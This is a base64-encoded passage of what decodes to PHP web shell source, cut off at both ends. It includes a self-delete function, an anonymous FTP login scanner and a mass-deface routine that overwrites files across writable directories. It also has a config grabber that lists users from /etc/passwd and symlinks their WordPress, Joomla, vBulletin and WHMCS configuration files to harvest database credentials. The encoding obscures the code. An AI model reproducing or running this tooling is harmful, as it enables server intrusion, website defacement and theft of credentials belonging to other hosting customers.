nICAgPj4gICcgLz48YnIgLz48YnIgLz48aHIgLz48YnIgLz48YnIgLz48L2Rpdj4iOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAiRGVjb2RlIjoNCiAgICAgICAgICAgICAgICAkcnp1bD1QUkVHX1JFUExBQ0UoIicoW1xTLFxkXXsyfSknZSIsImNocihoZXhkZWMoJ1xcMScpKSIsJHJlenVsdHp6KTsNCiAgICAgICAgICAgICAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxoMj5IRVhBREVDSU1BTCBFTkNPREVSPC9oMj48aHIgLz48YnIgLz48YnIgLz4NCiAgICAgICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9J3RleHRhcmVhX2VkaXQnIHNwZWxsY2hlY2s9ZmFsc2UgY29scz02MCByb3dzPTEwPiRyenVsPC90ZXh0YXJlYT4NCiAgICAgICAgICAgICAgICA8YnIgLz48YnIgLz48Zm9ybSBtZXRob2Q9J1BPU1QnPjxzZWxlY3Qgc3R5bGU9J2NvbG9yOmdyZWVuOyBiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyBib3JkZXI6MXB4IHNvbGlkICM2NjY7JyBuYW1lPSd0eXh4eCc+PG9wdGlvbj5FbmNvZGU8L29wdGlvbj48b3B0aW9uPkRlY29kZTwvb3B0aW9uPjwvc2VsZWN0Pg0KICAgICAgICAgICAgICAgIElucHV0IDogPGlucHV0IG5hbWU9J2hleGlucCcgc2l6ZT01MCB2YWx1ZT0naW5wdXQgaGVyZSc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPScgICA+PiAgJyAvPjxiciAvPjxiciAvPjxociAvPjxiciAvPjxiciAvPjwvZGl2PiI7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIH0NCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgICAgZWNobyAiPGRpdiBpZD1yZXN1bHQ+PGNlbnRlcj48aDI+SEVYQURFQ0lNQUwgRU5DT0RFUjwvaDI+PGhyIC8+PGJyIC8+PGJyIC8+DQogICAgICAgIDx0ZXh0YXJlYSBjbGFzcz0ndGV4dGFyZWFfZWRpdCcgc3BlbGxjaGVjaz1mYWxzZSBjb2xzPTYwIHJvd3M9MTA+SGVyZSB2aXNpYmxlIFlvdXIgUmVzdWx0PC90ZXh0YXJlYT4NCiAgICAgICAgPGJyIC8+PGJyIC8+PGZvcm0gbWV0aG9kPSdQT1NUJz48c2VsZWN0IHN0eWxlPSdjb2xvcjpncmVlbjsgYmFja2dyb3VuZC1jb2xvcjpibGFjazsgYm9yZGVyOjFweCBzb2xpZCAjNjY2OycgbmFtZT0ndHl4eHgnPjxvcHRpb24+RW5jb2RlPC9vcHRpb24+PG9wdGlvbj5EZWNvZGU8L29wdGlvbj48L3NlbGVjdD4NCiAgICAgICAgSW5wdXQgOiA8aW5wdXQgbmFtZT0naGV4aW5wJyBzaXplPTUwIHZhbHVlPSdpbnB1dCBoZXJlJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9JyAgID4+ICAnIC8+PGJyIC8+PGJyIC8+PGhyIC8+PGJyIC8+PGJyIC8+PC9kaXY+IjsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIGtpbGxtZSgpDQp7DQogICAgZ2xvYmFsICRzZWxmOw0KICAgIGVjaG8gIjxkaXYgaWQ9cmVzdWx0PjxjZW50ZXI+PGgyPkdvb2QgQnllIERlYXI8L2gyPjxociAvPkRlYXIsIEdvb2QgYnkuLi4gOiggSG9wZSBZb3UgTGlrZSBtZS4uLjxiciAvPjxiciAvPjxici8+PGhyIC8+PGJyIC8+PGJyIC8+IjsNCiAgICAkbWU9YmFzZW5hbWUoJHNlbGYpOw0KICAgIHVubGluaygkbWUpOw0KfQ0KDQpmdW5jdGlvbiBmdHBfYW5vbnltb3VzX3VpKCkNCnsNCiAgICBlY2hvICI8ZGl2IGlkPSdyZXN1bHQnPjxjZW50ZXI+PGgyPkFub255bW91cyBGVFAgU2Nhbm5lcjwvaDI+PGhyIC8+PC9jZW50ZXI+PHRhYmxlIGNsYXNzPXRibD48Zm9ybSBtZXRob2Q9J0dFVCc+PHRyPjx0ZD48dGV4dGFyZWEgbmFtZT0nZnRwX2Fub256JyBjb2xzPTQwIHJvd3M9MjUgY2xhc3M9J3RleHRhcmVhX2VkaXQnPjEyNy4wLjAuMQ0KZnRwLmdvb2dsZS5jb20NCmZ0cC5yMDB0LmNvbQ0KZnRwLmFqaXRoa3Aub3JnDQouLi4NCi4uLjwvdGV4dGFyZWE+PC90ZD48L3RyPjx0cj48dGQ+PGlucHV0IGNsYXNzPSdpbnB1dF9iaWcnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAgID4+ICAgJyAvPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48YnIgLz48YnIgLz48aHIgLz48YnIgLz48YnIgLz4iOw0KfQ0KDQpmdW5jdGlvbiBmdHBfYW5vbnltb3VzX2JnKCkNCnsNCiAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxoMj5SZXN1bHQ8L2gyPjwvY2VudGVyPjxociAvPjxiciAvPjxiciAvPjx0YWJsZSBjbGFzcz10YWJsZT4iOw0KICAgICRmdHBfbGlzdD0kX0dFVFsnZnRwX2Fub256J107DQogICAgJHhmdHBsID0gdHJpbSgkZnRwX2xpc3QpOw0KICAgICR4ZnRwbCA9IGV4cGxvZGUoIlxuIiwgJHhmdHBsKTsNCiAgICBmb3JlYWNoKCR4ZnRwbCBhcyAkeGZ0cCkNCiAgICB7DQogICAgICAgICR4ZnRwID0gc3RyX3JlcGxhY2UoImZ0cDovLyIsICIiLCAkeGZ0cCk7DQogICAgICAgICRjb25uX2Z0cCA9IGZ0cF9jb25uZWN0KCR4ZnRwKTsNCiAgICAgICAgJHN1Y2Nlc3MgPSBmdHBfbG9naW4oJGNvbm5fZnRwLCAiYW5vbnltb3VzIiwgIiIpOw0KICAgICAgICBpZigkc3VjY2VzcykNCiAgICAgICAgew0KICAgICAgICAgICAgZWNobyAiPHRyPjx0ZD48Zm9udCBjb2xvcj03MTcxQzY+JHhmdHA8L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgY29sb3I9Z3JlZW4+U3VjY2Vzc2Z1bGw8L2ZvbnQ+PC90ZD48L3RyPiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICI8dHI+PHRkPjxmb250IGNvbG9yPTcxNzFDNj4keGZ0cDwvZm9udD48L3RkPjx0ZD48Zm9udCBjb2xvcj1yZWQ+RmFpbGVkPC9mb250PjwvdGQ+PC90cj4iOw0KICAgICAgICB9DQogICAgICAgIA0KICAgIH0NCiAgICBlY2hvICI8L3RhYmxlPjxiciAvPjxiciAvPjxociAvPjxiciAvPjxiciAvPiI7DQp9DQoNCmZ1bmN0aW9uIG1hc3NfZGVmYWNlX3VpKCkNCnsNCiAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxoMj5NYXNzIERlZmFjZTwvaDI+PGhyIC8+PGJyIC8+PGJyIC8+PHRhYmxlIGNsYXNzPXRibD48Zm9ybSBtZXRob2Q9J0dFVCc+PGlucHV0IG5hbWU9J21tX3BhdGgnIHR5cGU9J2hpZGRlbicgdmFsdWU9Ii4kX0dFVFsncGF0aCddLiI+PHRyPjx0ZD5OYW1lIDogPGlucHV0IHNpemU9NDAgbmFtZT0nbWFzc19uYW1lJz48L3RkPjwvdHI+DQogICAgPHRyPjx0ZD48dGV4dGFyZWEgbmFtZT0nbWFzc19jb250JyBjb2xzPTgwIHJvd3M9MjUgY2xhc3M9J3RleHRhcmVhX2VkaXQnPjwvdGV4dGFyZWE+PC90ZD48L3RyPjx0cj48dGQ+PGlucHV0IGNsYXNzPSdpbnB1dF9iaWcnIHR5cGU9c3VibWl0IHZhbHVlPScgICA+PiAgICcgLz48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PGJyIC8+PGJyIC8+PGhyIC8+PGJyIC8+PGJyIC8+PC9kaXY+IjsNCn0NCg0KZnVuY3Rpb24gbWFzc19kZWZhY2VfYmcoKQ0Kew0KICAgIGdsb2JhbCAkc2VwOw0KICAgICRkX3BhdGg9JF9HRVRbJ21tX3BhdGgnXTsNCiAgICBjaGRpcigkZF9wYXRoKTsNCiAgICAkZF9maWxlPSRfR0VUWydtYXNzX25hbWUnXTsNCiAgICAkZF9jb250ZW49JF9HRVRbJ21hc3NfY29udCddOw0KICAgIGlmKGlzX2RpcigkZF9wYXRoKSkNCiAgICB7DQogICAgICAgIGNoZGlyKCRkX3BhdGgpOw0KICAgICAgICAkZF9kaXJzPWFycmF5KCk7DQogICAgICAgIGlmKCRoYW5kbGU9b3BlbmRpcigkZF9wYXRoKSkNCiAgICAgICAgew0KICAgICAgICAgICAgd2hpbGUoKCRpdGVtPXJlYWRkaXIoJGhhbmRsZSkpIT09RkFMU0UpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgaWYoJGl0ZW09PSIuIil7Y29udGludWU7fQ0KICAgICAgICAgICAgICAgIGlmKCRpdGVtPT0iLi4iKXtjb250aW51ZTt9DQogICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRpdGVtKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGRfZGlycywgJGl0ZW0pOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxoMj5SZXN1bHQ8L2gyPjwvY2VudGVyPjxociAvPjxiciAvPjxiciAvPjx0YWJsZSBjbGFzcz10Ymw+IjsNCiAgICBmb3JlYWNoKCRkX2RpcnMgYXMgJGRfZGlyKQ0KICAgIHsNCiAgICAgICAgJHhkX3BhdGg9Z2V0Y3dkKCkuIiRzZXAkZF9kaXIkc2VwJGRfZmlsZSI7DQogICAgICAgIGlmKGlzX3dyaXRhYmxlKCRkX2RpcikpDQogICAgICAgIHsNCiAgICAgICAgICAgICRoYW5kbGU9Zm9wZW4oJHhkX3BhdGgsICJ3YiIpOw0KICAgICAgICAgICAgaWYoJGhhbmRsZSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJGRfY29udGVuKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBlY2hvICI8dHI+PHRkPjxmb250IGNvbG9yPWdyZWVuPiR4ZF9wYXRoPC9mb250PjwvdGQ+PC90cj4iOw0KICAgIH0NCiAgICBlY2hvICI8L3RhYmxlPjxiciAvPjxiciAvPjxociAvPjxiciAvPjxiciAvPjwvZGl2PiI7DQp9DQoNCg0KZnVuY3Rpb24gc3ltbGlua2coJHVzZXJuYW1leHgsJGRvbWFpbnh4KQ0Kew0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJ1BJS0FTS1kgLycuJGRvbWFpbnh4LicgPT52QnVsbGV0aW4xLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJ1BJS0FTS1kgLycuJGRvbWFpbnh4LicgPT52QnVsbGV0aW4yLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJ1BJS0FTS1kgLycuJGRvbWFpbnh4LicgPT52QnVsbGV0aW4zLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJ1BJS0FTS1kgLycuJGRvbWFpbnh4LicgPT52QnVsbGV0aW40LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvaW5jL2NvbmZpZy5waHAnLCdQSUtBU0tZIC8nLiRkb21haW54eC4nID0+bXliYi50eHQnKTsNCgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm5hbWV4eC4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCdQSUtBU0tZIC8nLiRkb21haW54eC4nID0+UGhwYmIxLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJ1BJS0FTS1kgLycuJGRvbWFpbnh4LicgPT5QaHBiYjIudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuYW1leHguJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywnUElLQVNLWSAvJy4kZG9tYWlueHguJyA9PldvcmRwcmVzczEudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuYW1leHguJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCdQSUtBU0tZIC8nLiRkb21haW54eC4nID0+V29yZHByZXNzMi50eHQnKTsNCgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm5hbWV4eC4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywnUElLQVNLWSAvJy4kZG9tYWlueHguJyA9Pkpvb21sYTEudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuYW1leHguJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywnUElLQVNLWSAvJy4kZG9tYWlueHguJyA9Pkpvb21sYTIudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuYW1leHguJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCdQSUtBU0tZIC8nLiRkb21haW54eC4nID0+Sm9vbWxhMy50eHQnKTsNCgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm5hbWV4eC4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJ1BJS0FTS1kgLycuJGRvbWFpbnh4LicgPT5XaG0xLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJ1BJS0FTS1kgLycuJGRvbWFpbnh4LicgPT5XaG0yLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJ1BJS0FTS1kgLycuJGRvbWFpbnh4LicgPT5XaG0zLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywnUElLQVNLWSAvJy4kZG9tYWlueHguJyA9PldobTQudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuYW1leHguJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJ1BJS0FTS1kgLycuJGRvbWFpbnh4LicgPT5XaG01LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJ1BJS0FTS1kgLycuJGRvbWFpbnh4LicgPT5XaG02LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJ1BJS0FTS1kgLycuJGRvbWFpbnh4LicgPT5XaG03LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCdQSUtBU0tZIC8nLiRkb21haW54eC4nID0+V2htOC50eHQnKTsNCgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm5hbWV4eC4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywnUElLQVNLWSAvJy4kZG9tYWlueHguJyA9PldobTkudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuYW1leHguJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJ1BJS0FTS1kgLycuJGRvbWFpbnh4LicgPT41LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJ1BJS0FTS1kgLycuJGRvbWFpbnh4LicgPT40LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywnUElLQVNLWSAvJy4kZG9tYWlueHguJyA9PmludmlzaW8udHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuYW1leHguJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJ1BJS0FTS1kgLycuJGRvbWFpbnh4LicgPT43LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCdQSUtBU0tZIC8nLiRkb21haW54eC4nID0+OC50eHQnKTsNCgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm5hbWV4eC4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywnUElLQVNLWSAvJy4kZG9tYWlueHguJyA9Pm1rLXBvcnRhbGUxLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywnUElLQVNLWSAvJy4kZG9tYWlueHguJyA9PjEyLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywnUElLQVNLWSAvJy4kZG9tYWlueHguJyA9PlNtZi50eHQnKTsNCgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm5hbWV4eC4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCdQSUtBU0tZIC8nLiRkb21haW54eC4nID0+cGhwYmIzLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCdQSUtBU0tZIC8nLiRkb21haW54eC4nID0+aW5maW5pdHkudHh0Jyk7DQp9DQoNCmZ1bmN0aW9uIGNvbmZpZ19ncmFiYmVyX2JnKCkNCnsNCiAgICBnbG9iYWwgJHN5bV9odGFjY2Vzcywkc3ltX3BocF9pbmk7DQogICAgbWtkaXIoJ1BJS0FTS1kgJywgMDc3Nyk7DQogICAgc3ltbGluaygiLyIsICJQSUtBU0tZIC9yb290Iik7DQogICAgJGh0YWNjZXNzPWZvcGVuKCdQSUtBU0tZIC8uaHRhY2Nlc3MnLCAnd2InKTsNCiAgICBmd3JpdGUoJGh0YWNjZXNzLCRzeW1faHRhY2Nlc3MpOw0KICAgICRwaHBfaW5pX3g9Zm9wZW4oJ1BJS0FTS1kgL3BocC5pbmknLCAnd2InKTsNCiAgICBmd3JpdGUoJHBocF9pbmlfeCwgJHN5bV9waHBfaW5pKTsNCiAgICAkdXNyPWV4cGxvZGUoIlxuIiwkX1BPU1RbJ3VzZXJfel9saXN0J10pOw0KICAgIGZvcmVhY2goJHVzciBhcyAkdXplcikNCiAgICB7DQogICAgICAgICR1X2VyPXRyaW0oJHV6ZXIpOw0KICAgICAgICBzeW1saW5nZ2coJHVfZXIpOw0KICAgIH0NCiAgICBlY2hvICI8c2NyaXB0PndpbmRvdy5vcGVuKCdQSUtBU0tZIC8nLCAnX2JsYW5rJyk7PC9zY3JpcHQ+IjsNCiAgICBhbGVydCgnQ29uZmlnIEdyYWIgY29tcHRlZC4gQ2hlY2sgY29uZmlncyBpbiBkaXJlY29yeSBQSUtBU0tZICcpOw0KfQ0KDQppZihpc3NldCgkX1BPU1RbJ3VzZXJfel9saXN0J10pKQ0Kew0KICAgIGNvbmZpZ19ncmFiYmVyX2JnKCk7DQp9DQoNCg0KZnVuY3Rpb24gY29uZmlnX2dyYWJiZXJfdWkoKQ0Kew0KICAgIGlmKGZpbGUoJy9ldGMvcGFzc3dkJykpDQogICAgew0KICAgICAgICA/PjxzY3JpcHQ+YWxlcnQoIi9ldGMvbmFtZWQuY29uZiBOb3QgRm91bmQsIEl0cyBhbHRlcm5hdGl2ZSBtZXRob2QuIik7PC9zY3JpcHQ+PGRpdiBpZD1yZXN1bHQ+PGNlbnRlcj48aDI+Q29uZmlnIEdyYWJiZXI8L2gyPjxociAvPjxiciAvPjxiciAvPjx0YWJsZSBjbGFzcz10Ymw+PGZvcm0gbWV0aG9kPVBPU1Q+PHRyPjx0ZD48dGV4dGFyZWEgc3BlbGxjaGVjaz1mYWxzZSBjbGFzcz0ndGV4dGFyZWFfZWRpdCcgcm93cz0xNSBjb2xzPTYwICBuYW1lPXVzZXJfel9saXN0Pjw/cGhwDQogICAgICAgICR1c2VycyA9IGZpbGUoJy9ldGMvcGFzc3dkJyk7DQogICAgICAgIGZvcmVhY2goJHVzZXJzIGFzICR1c2VyKQ0KICAgICAgICB7DQogICAgICAgICAgICAkdXNlciA9IGV4cGxvZGUoJzonLCAkdXNlcik7DQogICAgICAgICAgICBlY2hvICR1c2VyWzBdLiJcbiI7DQogICAgICAgIH0NCiAgICAgICAgPz48L3RleHRhcmVhPjwvdGQ+PC90cj48dHI+PHRkPjxpbnB1dCB0eXBlPSdzdWJtaXQnIGNsYXNzPSdpbnB1dF9iaWcnIHZhbHVlPScgICA+PiAgICcvPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48YnIgLz48YnIgLz48aHIgLz48YnIgLz48YnIgLz48aHIgLz48L2Rpdj48P3BocA0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgICBhbGVydCgiIEZpbGUgTm90IEZvdW5kIDogL2V0Yy9wYXNzd2QgIik7DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBzeW1saW5nZ2coJHVzZXIpDQp7DQogICAgc3ltbGluaygnL2hvbWUvJy4kdXNlcm5hbWV4eC4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCAiUElLQVNLWSAvIi4kdXNlci4iID0+YmxvZy9jb25maWd1cmF0aW9uLnBocCIpOw0KICAgIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywgIlBJS0FTS1kgLyIuJHVzZXIuIiA9PmZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAiKTsNCiAgICBzeW1saW5rKCIvaG9tZS8iLiR1c2VyLiIvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCIsICJQSUtBU0tZIC8iLiR1c2VyLiIgPT53cC1jb25maWcucGhwIik7DQogICAgc3ltbGluaygiL2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwIiwgIlBJS0FTS1kgLyIuJHVzZXIuIiA9PndvcmRwcmVzcy93cC1jb25maWcucGhwIik7DQogICAgc3ltbGluaygiL2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwIiwgIlBJS0FTS1kgLyIuJHVzZXIuIiA9PmNvbmZpZ3VyYXRpb24ucGhwIik7DQogICAgc3ltbGluaygiL2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCIsICJQSUtBU0tZIC8iLiR1c2VyLiIgPT5ibG9nL3dwLWNvbmZpZy5waHAiKTsNCiAgICBzeW1saW5rKCIvaG9tZS8iLiR1c2VyLiIvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwIiwgIlBJS0FTS1kgLyIuJHVzZXIuIiA9Pmpvb21sYS9jb25maWd1cmF0aW9uLnBocCIpOw0KICAgIHN5bWxpbmsoIi9ob21lLyIuJHVzZXIuIi9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwIiwgIlBJS0FTS1kgLyIuJHVzZXIuIiA9PnZiL2luY2x1ZGVzL2NvbmZpZy5waHAiKTsNCiAgICBzeW1saW5rKCIvaG9tZS8iLiR1c2VyLiIvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCIsICJQSUtBU0tZIC8iLiR1c2VyLiIgPT5pbmNsdWRlcy9jb25maWcucGhwIik7DQogICAgc3ltbGluaygiL2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCIsICJQSUtBU0tZIC8iLiR1c2VyLiIgPT5jb25mX2dsb2JhbC5waHAiKTsNCiAgICBzeW1saW5rKCIvaG9tZS8iLiR1c2VyLiIvcHVibGljX2h0bWwvaW5jL2NvbmZpZy5waHAiLCAiUElLQVNLWSAvIi4kdXNlci4iID0+aW5jL2NvbmZpZy5waHAiKTsNCiAgICBzeW1saW5rKCIvaG9tZS8iLiR1c2VyLiIvcHVibGljX2h0bWwvY29uZmlnLnBocCIsICJQSUtBU0tZIC8iLiR1c2VyLiIgPT5jb25maWcucGhwIik7DQogICAgc3ltbGluaygiL2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1sL1NldHRpbmdzLnBocCIsICJQSUtBU0tZIC8iLiR1c2VyLiIgPT4vU2V0dGluZ3MucGhwIik7DQogICAgc3ltbGluaygiL2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1sL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwIiwgIlBJS0FTS1kgLyIuJHVzZXIuIiA9PnNpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwIik7DQogICAgc3ltbGluaygiL2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCIsICJQSUtBU0tZIC8iLiR1c2VyLiIgPT53aG0vY29uZmlndXJhdGlvbi5waHAiKTsNCiAgICBzeW1saW5rKCIvaG9tZS8iLiR1c2VyLiIvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAiLCAiUElLQVNLWSAvIi4kdXNlci4iID0+d2htY3MvY29uZmlndXJhdGlvbi5waHAiKTsNCiAgICBzeW1saW5rKCIvaG9tZS8iLiR1c2VyLiIvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCIsICJQSUtBU0tZIC8iLiR1c2VyLiIgPT5zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIik7DQogICAgc3ltbGluaygiL2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1sL3dobWMvV0hNL2NvbmZpZ3VyYXRpb24ucGhwIiwgIlBJS0FTS1kgLyIuJHVzZXIuIiA9PndobWMvV0hNL2NvbmZpZ3VyYXRpb24ucGhwIik7DQogICAgc3ltbGluaygiL2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1sL3dobS9XSE1DUy9jb25maWd1cmF0aW9uLnBocCIsICJQSUtBU0tZIC8iLiR1c2VyLiIgPT53aG0vV0hNQ1MvY29uZmlndXJhdGlvbi5waHAiKTsNCiAgICBzeW1saW5rKCIvaG9tZS8iLiR1c2VyLiIvcHVibGljX2h0bWwvd2htL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwIiwgIlBJS0FTS1kgLyIuJHVzZXIuIiA9PndobS93aG1jcy9jb25maWd1cmF0aW9uLnBocCIpOw0KICAgIHN5bWxpbmsoIi9ob21lLyIuJHVzZXIuIi9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIiwgIlBJS0FTS1kgLyIuJHVzZXIuIiA9PnN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAiKTsNCiAgICBzeW1saW5rKCIvaG9tZS8iLiR1c2VyLiIvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCIsICJQSUtBU0tZIC8iLiR1c2VyLiIgPT5jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwIik7DQogICAgc3ltbGluaygiL2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCIsICJQSUtBU0tZIC8iLiR1c2VyLiIgPT5jbGllbnQvY29uZmlndXJhdGlvbi5waHAiKTsNCiAgICBzeW1saW5rKCIvaG9tZS8iLiR1c2VyLiIvcHVibGljX2h0bWwvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAiLCAiUElLQVNLWSAvIi4kdXNlci4iID0+Y2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAiKTsNCiAgICBzeW1saW5rKCIvaG9tZS8iLiR1c2VyLiIvcHVibGljX2h0bWwvY2xpZW50ZS9jb25maWd1cmF0aW9uLnBocCIsICJQSUtBU0tZIC8iLiR1c2VyLiIgPT5jb